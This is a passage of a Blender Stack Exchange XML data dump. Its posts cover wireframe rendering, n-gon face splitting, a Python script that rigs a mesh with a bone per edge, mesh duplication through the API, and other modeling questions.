  <row Id="30559" PostTypeId="2" ParentId="30554" CreationDate="2015-05-07T15:09:57.670" Score="5" Body="&lt;p&gt;you can try the Wireframe node in cycles( produces a triangulated mesh ), using the following node setup :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iLRdC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and with some distortion and blur in the compositing :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qTI0d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solid view :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8eIOb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a test render :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0S4ri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;another way is to use the wireframe modifier to get the real wireframe, and a simple material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rMjlX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;solid view :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y5AL4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the render result :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M7jSr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-05-07T15:23:31.663" LastActivityDate="2015-05-07T15:23:31.663" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30560" PostTypeId="1" AcceptedAnswerId="30561" CreationDate="2015-05-07T15:23:23.993" Score="7" ViewCount="4812" Body="&lt;p&gt;I just start trying to 'make edge' between vertex in n-gon. but when I select the first half of the face, it still select the whole face. How do i split the face (*green X sign) into two different normal? Thank you :)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/iAXcD.gif&quot; alt=&quot;Make Edge in N-gon&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13803" LastActivityDate="2015-05-07T15:44:48.860" Title="How Split Face Normal after 'make edge' between vertex in N-gon" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30561" PostTypeId="2" ParentId="30560" CreationDate="2015-05-07T15:44:36.880" Score="13" Body="&lt;p&gt;To split the face select 2 opposite vertices on the face and use &lt;kbd&gt;J&lt;/kbd&gt; button instead of &lt;kbd&gt;F&lt;/kbd&gt; button, in your case you created an edge on top of the face.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-07T15:44:36.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30562" PostTypeId="2" ParentId="30560" CreationDate="2015-05-07T15:44:48.860" Score="0" Body="&lt;p&gt;I have had this problem before, and the solution is fairly simple. Sometimes when you create an edge on a face the edge is only connected to the two points and not the face, so the line is a separate object from the face. (I still have no clue why this happens). To fix this all you should have to do is go back in to vertex select mode and select the two vertices you want to create an edge between and then press the F key to create an edge. I hope this helps and I'm sorry if you already tried this method to fix it.&lt;/p&gt;&#xA;" OwnerUserId="11041" LastActivityDate="2015-05-07T15:44:48.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30563" PostTypeId="2" ParentId="30526" CreationDate="2015-05-07T16:15:21.060" Score="4" Body="&lt;p&gt;From Blender 2.79 onward the new modifier &lt;a href=&quot;https://wiki.blender.org/index.php/Dev:Ref/Release_Notes/2.79/Modelling&quot; rel=&quot;nofollow noreferrer&quot;&gt;Surface deform&lt;/a&gt; makes this answer obsolete.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;This code rigs simulated mesh so there is bone for every edge of mesh, such rig can control high-res version of cloth: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ROpTu.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The code adds panel to 3dView &gt; Toolbar &gt; Rigify Mesh.&lt;/li&gt;&#xA;&lt;li&gt;The mesh has to have rotation and scale applied.&lt;/li&gt;&#xA;&lt;li&gt;The vertex count of mesh is recommended below 2000 (timed on i7 4GHz).&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;300 verts ~ 6s&lt;/li&gt;&#xA;&lt;li&gt;560 verts ~ 46s&lt;/li&gt;&#xA;&lt;li&gt;1k verts  ~ 8.2min&lt;/li&gt;&#xA;&lt;li&gt;2k verts ~ over night&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;After profiling the code and going through forums the bottleneck is setting constraint properties. Specifically &lt;code&gt;constraint['name'].target&lt;/code&gt; and &lt;code&gt;constraint['name'].subtarget&lt;/code&gt;. The issue is that blender validates the constraints on every change to all other bones. This may be drastically speeduped with new dependency graph (hopefully). (Same as with duplicating large datasets of objects - before bmesh it took hours, now can be done in seconds.)&lt;/li&gt;&#xA;&lt;li&gt;If the constaints will be no issue the rig can be improved so the bones rotate along edges nicer (this requires more bones and constraints).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The progress is now also printed in the console:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e3axa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Known bugs were fixed.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The code&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import time&#xA;import sys&#xA;from mathutils import Matrix, Vector&#xA;&#xA;def new_bone(armature_ob, bone_name, head_loc, tail_vec, parent=None, deform=True, layer=0):&#xA;    '''Works only in edit mode'''&#xA;    new_bone = armature_ob.data.edit_bones.new(bone_name)&#xA;    new_bone.head = head_loc&#xA;    new_bone.tail = Matrix.Translation((0,0,0)) * Vector(tail_vec) + new_bone.head&#xA;    new_bone.parent = parent&#xA;    new_bone.use_deform = deform&#xA;    new_bone.layers = [i==layer for i in range(32)]&#xA;    armature_ob.data.layers[layer] = True&#xA;    return new_bone&#xA;&#xA;def add_constraint(const_type, const_entity, target_obj, sub_target_name):&#xA;    '''Works only in pose mode'''&#xA;    constraint = const_entity.constraints.new(const_type)&#xA;    constraint.target = target_obj&#xA;    constraint.subtarget = sub_target_name&#xA;    return constraint&#xA;&#xA;class RigifyMeshPanel(bpy.types.Panel):&#xA;    bl_label = &quot;Rigify Mesh&quot;&#xA;    bl_space_type = 'VIEW_3D'&#xA;    bl_region_type = 'TOOLS'&#xA;    bl_category = &quot;Rigify Mesh&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.operator(&quot;object.rigify_mesh&quot;, icon='OUTLINER_OB_ARMATURE')&#xA;&#xA;class RigifyMesh(bpy.types.Operator):&#xA;    bl_idname = &quot;object.rigify_mesh&quot;&#xA;    bl_label = &quot;Rigify Mesh&quot;&#xA;    bl_description = &quot;Generates a Rig with bones for every edge of active mesh&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(self, context):&#xA;        try:&#xA;            active = context.active_object&#xA;            return active and active.type == 'MESH'&#xA;        except (AttributeError, KeyError, TypeError):&#xA;            return False&#xA;&#xA;    def execute(self, context):&#xA;        mesh_ob = context.active_object&#xA;        progress = &quot;&quot;&#xA;        start = time.clock()&#xA;        # Force object mode:&#xA;        if bpy.context.active_object.mode != 'OBJECT':&#xA;            bpy.ops.object.mode_set(mode='OBJECT')&#xA;        # Generate vert groups for each vert:&#xA;        sys.stdout.write(&quot;------------------- RIGIFYING MESH -----------------\n&quot;)&#xA;        sys.stdout.write(&quot;Generating Vertex Groups (step 1/4): &quot;)&#xA;        sys.stdout.flush()&#xA;        for ivert in [v.index for v in mesh_ob.data.vertices if str(v.index) not in mesh_ob.vertex_groups]:&#xA;            progress = &quot;Vert %i of %i&quot; % (ivert, len(mesh_ob.data.vertices)-1)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            mesh_ob.vertex_groups.new(name=str(ivert))&#xA;            mesh_ob.vertex_groups[str(ivert)].add([ivert], 1.0, 'REPLACE')&#xA;        # Update mesh data&#xA;        mesh_ob.update_tag({'DATA'})&#xA;        sys.stdout.write(&quot;DONE IN &quot;+str(round(time.clock()-start, 3))+&quot;s&quot;+&quot; &quot;*(len(progress)-9)+&quot;\n&quot;)&#xA;        sys.stdout.flush()&#xA;        start = time.clock()&#xA;        # Get and Reset Armature&#xA;        sys.stdout.write(&quot;Cleaning up Armature     (step 2/4): &quot;)&#xA;        sys.stdout.flush()&#xA;        if bpy.data.objects.get(mesh_ob.name+'_Rig') is not None:&#xA;            rig_ob = bpy.data.objects[mesh_ob.name+'_Rig']&#xA;            context.scene.objects.active = rig_ob&#xA;            # Clean constraints:&#xA;            bpy.ops.object.mode_set(mode='POSE')&#xA;            for id, pbone in enumerate(rig_ob.pose.bones):&#xA;                for constraint in pbone.constraints:&#xA;                    progress = &quot;cleaning %i of %i&quot; % (id, len(mesh_ob.data.vertices)+3*len(mesh_ob.data.edges)-1)&#xA;                    sys.stdout.write(progress+chr(8)*len(progress))&#xA;                    sys.stdout.flush()&#xA;                    pbone.constraints.remove(constraint)&#xA;        else:&#xA;            bpy.ops.object.armature_add(location=mesh_ob.location)&#xA;            rig_ob = context.active_object&#xA;            rig_ob.name = mesh_ob.name + '_Rig'&#xA;        # Clean bones:&#xA;        bpy.ops.object.mode_set(mode='EDIT')&#xA;        for bone in rig_ob.data.edit_bones:&#xA;            rig_ob.data.edit_bones.remove(bone)&#xA;        sys.stdout.write(&quot;DONE IN &quot;+str(round(time.clock()-start, 3))+&quot;s&quot;+&quot; &quot;*(len(progress)-9)+&quot;\n&quot;)&#xA;        sys.stdout.flush()&#xA;        start = time.clock()&#xA;        # Add bones:&#xA;        sys.stdout.write(&quot;Generating Bones         (step 3/4): &quot;)&#xA;        sys.stdout.flush()&#xA;        mesh_ob.data.calc_normals()&#xA;        for id, vert in enumerate(mesh_ob.data.vertices):&#xA;            progress = &quot;Bone %i of %i&quot; % (id, len(mesh_ob.data.vertices)+len(mesh_ob.data.edges)-2)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            new_bone(rig_ob, &quot;vert&quot;+str(id), vert.co, vert.normal/4, None, False, 1)&#xA;        for id, edge in enumerate(mesh_ob.data.edges):&#xA;            progress = &quot;Bone %i of %i&quot; % (id+len(mesh_ob.data.vertices), len(mesh_ob.data.vertices)+len(mesh_ob.data.edges)-2)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            v0 = mesh_ob.data.vertices[edge.vertices[0]]&#xA;            v1 = mesh_ob.data.vertices[edge.vertices[1]]&#xA;            new_bone(rig_ob, &quot;edge&quot;+str(id), v0.co, v1.co-v0.co, rig_ob.data.edit_bones[edge.vertices[0]])&#xA;        sys.stdout.write(&quot;DONE IN &quot;+str(round(time.clock()-start, 3))+&quot;s&quot;+&quot; &quot;*(len(progress)-9)+&quot;\n&quot;)&#xA;        sys.stdout.flush()&#xA;        start = time.clock()&#xA;        # Add bone constraints:&#xA;        bpy.ops.object.mode_set(mode='POSE')&#xA;        pbones = rig_ob.pose.bones&#xA;        sys.stdout.write(&quot;Generating Constraints   (step 4/4): &quot;)&#xA;        sys.stdout.flush()&#xA;        # Setup vertex bones constraints:&#xA;        for id, vert in enumerate(mesh_ob.data.vertices):&#xA;            progress = &quot;Constraint %i of %i&quot; % (id, len(mesh_ob.data.vertices)+3*len(mesh_ob.data.edges)-1)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            child_of = add_constraint('CHILD_OF', pbones[&quot;vert&quot;+str(id)], mesh_ob, str(id))&#xA;            context_py = context.copy()&#xA;            context_py[&quot;constraint&quot;] = child_of&#xA;            rig_ob.data.bones.active = pbones[&quot;vert&quot;+str(id)].bone&#xA;            bpy.ops.constraint.childof_set_inverse(context_py, constraint=child_of.name, owner='BONE')&#xA;        # Setup edge bones constraints:&#xA;        for id, edge in enumerate(mesh_ob.data.edges):&#xA;            bone0 = &quot;vert&quot; + str(edge.vertices[0])&#xA;            bone1 = &quot;vert&quot; + str(edge.vertices[1])&#xA;            progress = &quot;Constraint %i of %i&quot; % (3*id+len(mesh_ob.data.vertices), len(mesh_ob.data.vertices)+3*len(mesh_ob.data.edges)-1)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            add_constraint('DAMPED_TRACK', pbones[&quot;edge&quot;+str(id)], rig_ob, bone1)&#xA;            progress = &quot;Constraint %i of %i&quot; % (3*id+1+len(mesh_ob.data.vertices), len(mesh_ob.data.vertices)+3*len(mesh_ob.data.edges)-1)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            const = add_constraint('COPY_ROTATION', pbones[&quot;edge&quot;+str(id)], rig_ob, bone0)&#xA;            const.use_z = False&#xA;            const.target_space = 'POSE'&#xA;            const.owner_space = 'POSE'&#xA;            progress = &quot;Constraint %i of %i&quot; % (3*id+2+len(mesh_ob.data.vertices), len(mesh_ob.data.vertices)+3*len(mesh_ob.data.edges)-1)&#xA;            sys.stdout.write(progress+chr(8)*len(progress))&#xA;            sys.stdout.flush()&#xA;            add_constraint('STRETCH_TO', pbones[&quot;edge&quot;+str(id)], rig_ob, bone1)&#xA;        # Hide vert bone layer&#xA;        rig_ob.data.layers[1] = False&#xA;        sys.stdout.write(&quot;DONE IN &quot;+str(round(time.clock()-start, 3))+&quot;s&quot;+&quot; &quot;*(len(progress)-9)+&quot;\n&quot;)&#xA;        sys.stdout.write(&quot;----------------------------------------------------\n&quot;)&#xA;        sys.stdout.flush()&#xA;        return{'FINISHED'}&#xA;&#xA;bpy.utils.register_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2017-10-03T13:33:28.613" LastActivityDate="2017-10-03T13:33:28.613" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="30564" PostTypeId="1" AcceptedAnswerId="30568" CreationDate="2015-05-07T16:15:26.693" Score="4" ViewCount="209" Body="&lt;p&gt;Is there a way to shrinkwrap a cylinder (without top &amp;amp; bottom faces) around an irregular/non-rotational solid and have the edges which are adjacent to faces distributed evenly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if the cylinder were to be flattened out, I would like to get something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;|  |  |  |  |  |  |  |  |  |  |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;| |    | |   | |    |  | | |     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't care if the vertices are off on the axis parallel to the faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to dupliface the cylinder and the children objects have to be evenly spaced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="14001" LastEditorUserId="14001" LastEditDate="2015-05-07T16:34:12.353" LastActivityDate="2015-05-07T19:19:20.797" Title="Shwinkwrap with evenly spaced face edges" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30565" PostTypeId="1" CreationDate="2015-05-07T16:21:54.303" Score="1" ViewCount="160" Body="&lt;p&gt;Kind of a generic title, I know, but I haven't decided on any specific implementation at the moment because Blender offers many different potential ways to accomplish what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I'm trying to setup a quick level editor for a project I'm working on. Rather than write my own from scratch, I decided it would be much simpler to just extend Blender with the Python API, especially since my requirements are very simple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is just a method to create a network of &quot;nodes&quot;, and give each node a small set of custom properties including a unique 32 bit integer ID. An Armature, Mesh, or Curve seem like the most obvious objects to use, since they are easy to work with and are even connected visually in the editor. However, I can't seem to find out if it's even possible to add custom properties to each bone or vertex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only other solution I can think of is to use empties and connect them manually. This works, and I actually wrote a script already to do just that. However, working with a large map with many of these &quot;nodes&quot; would get very difficult to manage since the relationships/connections need to be input manually (e.g. each node has &lt;em&gt;Next&lt;/em&gt; and &lt;em&gt;Previous&lt;/em&gt; list properties which contain IDs of the nodes connected before and after). Also, there isn't any visual representation of these relationships in the editor (like a line connecting them as you would see in meshes or armatures)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;So&lt;/strong&gt; is it possible to add custom properties to individual vertices or bones? If not, is there a better method to accomplish what I'm trying to do besides creating and manually connecting empties?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if I DO have to use the empties method, is there at least some way for me to represent the connections between them visually in the editor? Something as simple as drawing a line between two nodes, or even just displaying some of the properties as text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of the data/relationships I need to store in properties as JSON:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;TestMap&quot;:[&#xA;        {&#xA;            &quot;ID&quot;:0,&#xA;            &quot;ntype&quot;:0,&#xA;            &quot;RulesetType&quot;:0,&#xA;            &quot;RPreset&quot;:0,&#xA;            &quot;x&quot;:0,&#xA;            &quot;y&quot;:3,&#xA;            &quot;plist&quot;:[-1,-1,-1],&#xA;            &quot;hlist&quot;:[false, false, false],&#xA;            &quot;Prev&quot;:[0],&#xA;            &quot;Next&quot;:[1]&#xA;        },&#xA;        {&#xA;            &quot;ID&quot;:1,&#xA;            &quot;ntype&quot;:0,&#xA;            &quot;RulesetType&quot;:0,&#xA;            &quot;RPreset&quot;:0,&#xA;            &quot;x&quot;:1,&#xA;            &quot;y&quot;:3,&#xA;            &quot;plist&quot;:[0,2,1],&#xA;            &quot;hlist&quot;:[true, false, false],&#xA;            &quot;Prev&quot;:[0],&#xA;            &quot;Next&quot;:[2]&#xA;        },&#xA;        {&#xA;            &quot;ID&quot;:2,&#xA;            &quot;ntype&quot;:0,&#xA;            &quot;RulesetType&quot;:0,&#xA;            &quot;RPreset&quot;:0,&#xA;            &quot;x&quot;:3,&#xA;            &quot;y&quot;:3,&#xA;            &quot;plist&quot;:[-1,-1,-1],&#xA;            &quot;hlist&quot;:[false, false, false],&#xA;            &quot;Prev&quot;:[1],&#xA;            &quot;Next&quot;:[3,4]    &amp;lt;&amp;lt; Notice there's a fork here&#xA;        }&#xA;        ...&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, the data is just basic numbers, lists, bools, and (possibly in the future) strings&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, any help is appreciated!&lt;/p&gt;&#xA;" OwnerUserId="5238" LastActivityDate="2015-05-07T16:21:54.303" Title="Custom properties for node-tree/network-style structure" Tags="&lt;python&gt;&lt;scripting&gt;&lt;customization&gt;&lt;properties&gt;&lt;external-applications&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30566" PostTypeId="1" CreationDate="2015-05-07T16:26:31.640" Score="2" ViewCount="114" Body="&lt;p&gt;I have two scenes, sceneA and sceneB, which I run in game mode. While I am running sceneA, I would like to change a material in sceneB (but only at a later stage move to sceneB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can access the objects in sceneA while in A by&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    scene = bge.logic.getCurrentScene()&#xA;    print(scene.objects)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is their a way how I could access the objects in sceneB, while in A? &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    scenelist = getSceneList() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;only returns scene A as that is the one who is active and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    sceneB.objects &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;gives an error of name 'sceneB' is not defined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All help is appreciated. &lt;/p&gt;&#xA;" OwnerUserId="14214" LastEditorUserId="55" LastEditDate="2015-05-08T01:57:24.130" LastActivityDate="2015-05-08T01:57:24.130" Title="Changing material in a non active scene from python (BGE)" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;&lt;scene&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30568" PostTypeId="2" ParentId="30564" CreationDate="2015-05-07T19:19:20.797" Score="2" Body="&lt;p&gt;Ok guys, solved my problem.&#xA;What follows is a brief tutorial through the steps I used.&#xA;Simple example here, but a better possible implementation is decribed at the bottom.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-I started with a sphere I deformed a bit to get it to be irregular&lt;br&gt;&#xA;-Went in edit mode and selected a loop ring (Alt+RMB)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/w6NdI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;-Duplicated the loop ring (Shift+D, Enter). Separated it from the original shape (P), moved it +2 on Z-axis&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9fzGi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;-I converted the loop ring from Mesh to Curve (Spacebar -&gt; &quot;Convert&quot;)&lt;br&gt;&#xA;-Created a Plane and scaled it to the size I needed. Applied to it an array modifier and a curve modifier (along the loop ring)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/51hS6.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/5FyaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;-Applied the modifiers. Merged the two ends (select vertices in Edit Mode, Spacebar -&gt; &quot;Merge&quot;. Or Alt+M. At center)&lt;br&gt;&#xA;-moved the plane -2 along Z-axis (G Z)&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/issLg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These planes are not &quot;parallel&quot; to the object's surface. I reckon you could repeat the process for two separate edge loops (the closest to the area you want to cover). Create two separate planes, or segments (?) and array them for the same number of times. Merge the &quot;ring&quot; ends you get. Only keep the inner edge loops, delete the rest (if you used planes). Join the two edge loops in one object. Bridge the two edge loops. This way you get trapezoidal planes, which give the right angle to child objects in case you want to dupliface the loop's faces. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ask if you need any other help :)&lt;/p&gt;&#xA;" OwnerUserId="14001" LastActivityDate="2015-05-07T19:19:20.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30569" PostTypeId="1" AcceptedAnswerId="30572" CreationDate="2015-05-07T19:53:59.683" Score="2" ViewCount="601" Body="&lt;p&gt;I'm wondering how to achieve this operation:&#xA;Assuming I have a mesh :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;solid = bpy.ops.mesh.primitive_ico_sphere_add(subdivisions=1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to duplicate it (I want to do some operations on the solid_duplicated.data.vertices)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as my scene is already full of meshes, I want to select the &quot;solid&quot; mesh before duplicating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="14219" LastActivityDate="2015-05-07T20:33:14.870" Title="How to duplicate a mesh within the Blender API" Tags="&lt;mesh&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30571" PostTypeId="1" AcceptedAnswerId="30593" CreationDate="2015-05-07T20:06:42.987" Score="3" ViewCount="476" Body="&lt;p&gt;Is there a way to achieve exactly (that's crucial) the same corner bend definition of a plane in blender? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UZU3r.png&quot; alt=&quot;bend the corner&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="13486" LastActivityDate="2015-05-08T11:44:00.440" Title="How to achieve &quot;simple&quot; deformation of a plane?" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30572" PostTypeId="2" ParentId="30569" CreationDate="2015-05-07T20:33:14.870" Score="3" Body="&lt;p&gt;unfortunately, that function just returns &lt;code&gt;{'FINISHED'}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;solid = bpy.ops.mesh.primitive_ico_sphere_add(subdivisions=1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;thus:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import mathutils&#xA;from mathutils import Vector&#xA;&#xA;# the added object becomes the &quot;active_object&quot;, get a reference to it.&#xA;bpy.ops.mesh.primitive_ico_sphere_add(subdivisions=1)&#xA;solid = bpy.context.active_object&#xA;&#xA;# make a duplicate only of the mesh&#xA;ico_mesh_dup = solid.data.copy()&#xA;&#xA;# make a new object, and reference the duplicated mesh.&#xA;solid_duplicate = bpy.data.objects.new('IcoSphere_duplicate', ico_mesh_dup)&#xA;&#xA;# the object must be added to the scene&#xA;bpy.context.scene.objects.link(solid_duplicate)&#xA;&#xA;# prove that the object is created by offsetting its location.&#xA;solid_duplicate.location = solid.location + Vector((2,0,0))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's bmesh alternatives, but I think this will work for you.&lt;/p&gt;&#xA;" OwnerUserId="47" LastActivityDate="2015-05-07T20:33:14.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30573" PostTypeId="2" ParentId="30519" CreationDate="2015-05-07T20:55:49.213" Score="1" Body="&lt;p&gt;Here are the algorithms I gathered for the solution 1 (mesh silhouette as a polygon).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1014293/2d-outline-algorithm-for-projected-3d-mesh/1015709#1015709&quot;&gt;2d outline algorithm for projected 3D mesh&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://negativesum.net/Members/hoss/resume/SEDAlgorithms.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Silhouette Edge&#xA;Detection Algorithms for use with 3D Models&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.mrl.nyu.edu/~hertzman/hertzmann-intro3d.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introduction to 3D&#xA;Non-Photorealistic Rendering: Silhouettes and Outlines&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Keywords for search: mesh silhouette detection&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mesh silhouette is always displayed in the object mode. It's also calculated by Frestyle. But how to get the silhouette coordinates in the image space?&lt;/p&gt;&#xA;" OwnerUserId="14200" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-05-07T22:52:04.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30574" PostTypeId="1" AcceptedAnswerId="30673" CreationDate="2015-05-07T21:00:33.037" Score="5" ViewCount="1004" Body="&lt;p&gt;I want to &quot;rig&quot; a ball, so that it looks like it's rolling on the ground as I move it around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've parented the ball to an empty and set up drivers for the X and Y rotation, so that the ball will rotate along the y axis if I move it on the x axis, (and vice versa for the x-axis rotation.)&#xA;Well now, the rotation is fine if the ball rolls only along either the X or Y axis. As soon as it goes diagonal, the ball will rotate incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded the .blend file with what I've set up so far...&#xA;&lt;a href=&quot;http://www.pasteall.org/blend/35956&quot;&gt;http://www.pasteall.org/blend/35956&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried messing around with the transform space settings (local space, world space etc.) and also tried to set up a third driver for the Z rotation but I couldn't get it to work, so at this point I can't think of any solution to this, but I hope you guys can help me out :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14221" 